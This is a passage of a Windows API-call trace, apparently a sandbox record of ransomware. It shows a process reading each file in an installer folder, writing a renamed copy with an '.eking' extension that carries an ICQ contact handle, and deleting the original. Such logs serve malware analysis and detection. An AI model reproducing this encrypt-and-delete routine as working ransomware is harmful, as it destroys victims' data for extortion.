"c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0085.802] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xed90, lpOverlapped=0x0) returned 1 [0085.822] WriteFile (in: hFile=0x31c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xeda0, lpOverlapped=0x0) returned 1 [0085.825] WriteFile (in: hFile=0x31c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0085.825] CloseHandle (hObject=0x330) returned 1 [0085.825] CloseHandle (hObject=0x31c) returned 1 [0085.827] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0085.829] SetEvent (hEvent=0x2cc) returned 1 [0085.829] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0085.829] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=14168) returned 1 [0085.829] CloseHandle (hObject=0x31c) returned 1 [0085.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0085.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0085.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.830] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0085.830] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.830] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.830] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0085.831] ReadFile (in: hFile=0x31c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x3758, lpOverlapped=0x0) returned 1 [0085.864] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x3760, lpOverlapped=0x0) returned 1 [0085.866] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0085.866] CloseHandle (hObject=0x31c) returned 1 [0085.866] CloseHandle (hObject=0x330) returned 1 [0085.871] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0085.873] SetEvent (hEvent=0x2cc) returned 1 [0085.873] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.183] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=79996) returned 1 [0086.184] CloseHandle (hObject=0x32c) returned 1 [0086.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0086.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0086.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.184] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.184] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.184] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.184] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0086.185] ReadFile (in: hFile=0x32c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x1387c, lpOverlapped=0x0) returned 1 [0086.307] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x13880, lpOverlapped=0x0) returned 1 [0086.310] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0086.310] CloseHandle (hObject=0x32c) returned 1 [0086.310] CloseHandle (hObject=0x330) returned 1 [0086.314] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0086.315] SetEvent (hEvent=0x2cc) returned 1 [0086.316] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0086.339] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=39042) returned 1 [0086.339] CloseHandle (hObject=0x330) returned 1 [0086.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0086.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0086.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.340] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0086.340] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.340] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.340] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0086.350] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x9882, lpOverlapped=0x0) returned 1 [0086.366] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x9890, lpOverlapped=0x0) returned 1 [0086.368] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0086.368] CloseHandle (hObject=0x330) returned 1 [0086.368] CloseHandle (hObject=0x32c) returned 1 [0086.378] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0086.379] SetEvent (hEvent=0x2cc) returned 1 [0086.379] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.380] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=93314) returned 1 [0086.380] CloseHandle (hObject=0x32c) returned 1 [0086.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0086.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0086.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.380] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.380] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.381] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.381] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0086.381] ReadFile (in: hFile=0x32c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x16c82, lpOverlapped=0x0) returned 1 [0086.398] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x16c90, lpOverlapped=0x0) returned 1 [0086.557] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0086.557] CloseHandle (hObject=0x32c) returned 1 [0086.557] CloseHandle (hObject=0x330) returned 1 [0086.563] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0086.565] SetEvent (hEvent=0x2cc) returned 1 [0086.565] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0086.568] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=1150) returned 1 [0086.568] CloseHandle (hObject=0x330) returned 1 [0086.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0086.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0086.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.568] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0086.568] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.568] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.568] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0086.573] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x47e, lpOverlapped=0x0) returned 1 [0086.593] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x480, lpOverlapped=0x0) returned 1 [0086.594] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0086.594] CloseHandle (hObject=0x330) returned 1 [0086.594] CloseHandle (hObject=0x32c) returned 1 [0086.596] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0086.597] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.597] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=894) returned 1 [0086.597] CloseHandle (hObject=0x32c) returned 1 [0086.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0086.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0086.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.598] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.598] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.598] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.598] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0086.598] ReadFile (in: hFile=0x32c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x37e, lpOverlapped=0x0) returned 1 [0086.607] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x380, lpOverlapped=0x0) returned 1 [0086.608] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0086.608] CloseHandle (hObject=0x32c) returned 1 [0086.608] CloseHandle (hObject=0x330) returned 1 [0086.611] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0086.613] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0086.619] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=894) returned 1 [0086.619] CloseHandle (hObject=0x31c) returned 1 [0086.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0086.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0086.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.619] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0086.619] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.619] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0086.619] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0086.622] ReadFile (in: hFile=0x31c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x37e, lpOverlapped=0x0) returned 1 [0087.024] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x380, lpOverlapped=0x0) returned 1 [0087.026] WriteFile (in: hFile=0x320, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0087.026] CloseHandle (hObject=0x31c) returned 1 [0087.026] CloseHandle (hObject=0x320) returned 1 [0087.673] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0087.674] SetEvent (hEvent=0x2cc) returned 1 [0087.675] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0087.675] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=36710) returned 1 [0087.675] CloseHandle (hObject=0x324) returned 1 [0087.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0087.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0087.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0087.676] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0087.676] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0087.676] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0087.676] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: 